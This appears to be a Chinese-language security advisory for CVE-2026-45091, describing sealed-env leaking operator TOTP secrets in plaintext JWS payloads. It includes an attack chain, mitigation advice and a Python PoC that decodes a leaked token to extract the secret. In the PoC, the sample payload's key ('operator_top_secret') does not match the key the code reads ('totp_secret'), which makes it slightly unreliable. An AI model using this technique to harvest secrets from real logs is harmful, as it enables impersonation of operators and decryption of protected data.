IPBUF安全漏洞报告
English
CVE-2026-45091 CVSS 9.1 严重

CVE-2026-45091 sealed-env TOTP密钥信息泄露漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-45091
漏洞类型
信息泄露
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
sealed-env

相关标签

信息泄露密钥管理sealed-envJWSTOTPNode.jsJava

漏洞概述

sealed-env企业版特定版本存在严重安全漏洞,错误地将操作员TOTP密钥以明文形式直接嵌入到JWS令牌的Payload负载中。由于JWS负载仅为Base64编码而非加密,任何能够访问令牌(如通过CI日志、容器环境变量)的攻击者均可轻易解码并提取密钥,导致零信任机制失效,系统面临极高的安全风险。

技术细节

该漏洞源于sealed-env在生成解封令牌时的逻辑设计缺陷。在受影响版本的企业模式下,库错误地将用于生成TOTP的种子密钥直接放入了JWS令牌的Payload字段中。JWS机制主要保证数据的完整性和真实性(通过签名验证),而并不提供数据的机密性保护(即不进行加密)。Payload部分仅经过了Base64编码处理,这使得逆向解码过程极其简单且无需密钥。攻击者无需任何认证或复杂交互攻击,只需从CI构建日志、容器环境转储、Kubernetes Pod描述文件或Sentry堆栈跟踪中截获令牌字符串,分离出Payload部分进行Base64解码,即可获得包含TOTP密钥的JSON对象。获取该密钥后,攻击者可利用标准算法生成合法的动态验证码,以此冒充合法操作员解密敏感数据,完全绕过零信任安全机制。

攻击链分析

STEP 1
信息收集
攻击者获取对目标系统日志、CI/CD流水线日志、容器环境转储或监控堆栈的读取权限。
STEP 2
令牌获取
攻击者在上述数据源中搜索sealed-env生成的JWS格式的unseal token。
STEP 3
解码提取
攻击者截获JWS令牌,分离中间的Payload部分,进行Base64解码还原为JSON格式。
STEP 4
密钥窃取
攻击者从JSON数据中读取操作员的TOTP密钥(明文)。
STEP 5
权限提升
攻击者使用窃取的TOTP密钥生成合法的验证码,冒充操作员解密敏感数据,完全控制密钥管理。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import base64 import json # Simulated leaked JWS token found in logs (Header.Payload.Signature) # The payload contains the 'totp_secret' in plaintext leaked_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJvcGVyYXRvcl90b3Bfc2VjcmV0IjoiS0VZLTEyMzQ1Njc4OTAiLCJ1c2VyIjoiYWRtaW4ifQ.signature_placeholder" # Function to extract TOTP secret def extract_totp_from_token(token): try: # Split token into parts parts = token.split('.') if len(parts) < 2: return "Invalid token format" payload_b64 = parts[1] # Add padding if necessary to make length a multiple of 4 padding = 4 - len(payload_b64) % 4 if padding != 4: payload_b64 += '=' * padding # Decode Base64 decoded_bytes = base64.urlsafe_b64decode(payload_b64) decoded_str = decoded_bytes.decode('utf-8') # Parse JSON payload_json = json.loads(decoded_str) # Extract secret (Key name may vary based on actual implementation) # Common keys: 'totp_secret', 'secret', 'key' secret = payload_json.get('totp_secret') return secret except Exception as e: return f"Error: {e}" print(f"Extracted Secret: {extract_totp_from_token(leaked_token)}")

影响范围

sealed-env 0.1.0-alpha.1
sealed-env 0.1.0-alpha.2
sealed-env 0.1.0-alpha.3

防御指南

临时缓解措施
在升级版本前,应严格限制对应用程序日志、环境变量转储及堆栈跟踪的访问权限,防止攻击者获取令牌。同时,必须立即撤销所有可能泄露的TOTP密钥并重新生成,以确保已泄露的密钥失效。

参考链接